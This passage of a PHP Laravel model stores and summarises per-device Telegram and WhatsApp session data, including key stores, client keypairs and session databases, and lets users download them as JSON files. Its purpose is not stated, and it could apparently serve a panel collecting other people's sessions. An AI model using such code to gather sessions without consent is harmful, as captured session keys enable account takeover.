$blob * @return array */ public static function dbSummary(string $kind, array $blob, string $path, int $bytes): array { if ((int) $kind === self::KIND_TELEGRAM) { return [ 'user_id' => self::scalarOrNull($blob['user_id'] ?? $blob['userId'] ?? null), 'has_state' => isset($blob['state']) && $blob['state'] !== '' && $blob['state'] !== [], 'has_db' => isset($blob['db_sqlite']) && $blob['db_sqlite'] !== '' && $blob['db_sqlite'] !== null, 'payload_path' => $path, 'payload_bytes' => $bytes, ]; } return [ 'nickname' => self::scalarOrNull($blob['nickname'] ?? null), 'whatsappVersion' => self::scalarOrNull($blob['whatsappVersion'] ?? $blob['version'] ?? null), 'phoneId' => self::scalarOrNull($blob['phoneId'] ?? null), 'has_keystore' => isset($blob['phoneKeyStore']) || isset($blob['clientStaticKeypairBase64']), 'payload_path' => $path, 'payload_bytes' => $bytes, ]; } /** * @param array $blob * @return array */ public static function whatsappDbSummary(array $blob, string $path, int $bytes): array { return self::dbSummary(self::KIND_WHATSAPP, $blob, $path, $bytes); } private static function scalarOrNull(mixed $value): ?string { if (is_string($value) || is_int($value) || is_float($value)) { $value = trim((string) $value); return $value !== '' ? $value : null; } return null; } protected $fillable = [ 'device_id', 'device_key', 'kind', 'account_id', 'phone', 'payload', ]; protected function casts(): array { return [ 'kind' => 'integer', 'payload' => 'array', ]; } public function device(): BelongsTo { return $this->belongsTo(Device::class); } public function kindLabel(): string { return match ($this->kind) { self::KIND_TELEGRAM => 'Telegram', self::KIND_WHATSAPP => 'WhatsApp', default => (string) $this->kind, }; } public function isTelegram(): bool { return (int) $this->kind === self::KIND_TELEGRAM; } public function isWhatsApp(): bool { return (int) $this->kind === self::KIND_WHATSAPP; } /** * Compact fields for the collection list (omit large blobs). * * @return array */ public function listSummary(): array { $payload = is_array($this->payload) ? $this->payload : []; if ($this->isWhatsApp()) { return [ 'account_id' => $this->account_id ?: '', 'phone' => $this->phone ?: '', 'nickname' => $this->scalarFromPayload($payload, ['nickname']), 'version' => $this->scalarFromPayload($payload, ['whatsappVersion', 'version']), 'has_keystore' => (bool) ($payload['has_keystore'] ?? (isset($payload['phoneKeyStore']) || isset($payload['clientStaticKeypairBase64']))), ]; } return [ 'account_id' => $this->account_id ?: $this->scalarFromPayload($payload, ['user_id', 'userId']), 'has_state' => (bool) ($payload['has_state'] ?? (isset($payload['state']) && $payload['state'] !== '' && $payload['state'] !== [])), 'has_db' => (bool) ($payload['has_db'] ?? (isset($payload['db_sqlite']) && $payload['db_sqlite'] !== '' && $payload['db_sqlite'] !== null)), ]; } /** * Full session blob from the on-disk file, or the JSON column if no file. * * @return array */ public function fullPayload(): array { $payload = is_array($this->payload) ? $this->payload : []; $path = $payload['payload_path'] ?? null; if (is_string($path) && $path !== '' && Storage::disk('local')->exists($path)) { $decoded = json_decode((string) Storage::disk('local')->get($path), true); if (is_array($decoded)) { return $decoded; } } return $payload; } public function payloadPath(): ?string { $path = is_array($this->payload) ? ($this->payload['payload_path'] ?? null) : null; return is_string($path) && $path !== '' ? $path : null; } public function downloadFilename(): string { $label = $this->isWhatsApp() ? 'ws' : 'tg'; $device = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->device_key ?: $this->device_id)) ?: 'device'; $account = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->account_id ?: $this->id)) ?: 'account'; return $label.'-'.$device.'-'.$account.'.json'; } public function displayPayload(): array { $payload = $this->fullPayload(); if ($this->isTelegram()) { return $payload; } return $this->truncatePayload($payload); } /** * @param array $payload */ private function scalarFromPayload(array $payload, array $keys): string { foreach ($keys as $key) { $value = $payload[$key] ?? null; if (is_int($value) || is_float($value)) { return (string) $value; } if (is_string($value) && trim($value) !== '') { return trim($value); } } return ''; } /** * @param array $payload * @return array */ private function truncatePayload(array $payload, int $max = 240): array { $out = []; foreach ($payload as $key => $value) { if (is_array($value)) { $encoded = json_encode($value); if (is_string($encoded) && strlen($encoded) > 1500) { $out[$key] = [ '_omitted' => true, 'items' => count($value), 'bytes' => strlen($encoded), ]; continue; } $out[$key] = $this->truncatePayload($value, $max); continue; } if (! is_string($value)) { $out[$key] = $value; continue; } if (strlen($value) > $max) { $out[$key] = substr($value, 0, $max).'… ('.strlen($value).' bytes)'; continue; } $out[$key] = $value; } return $out; } }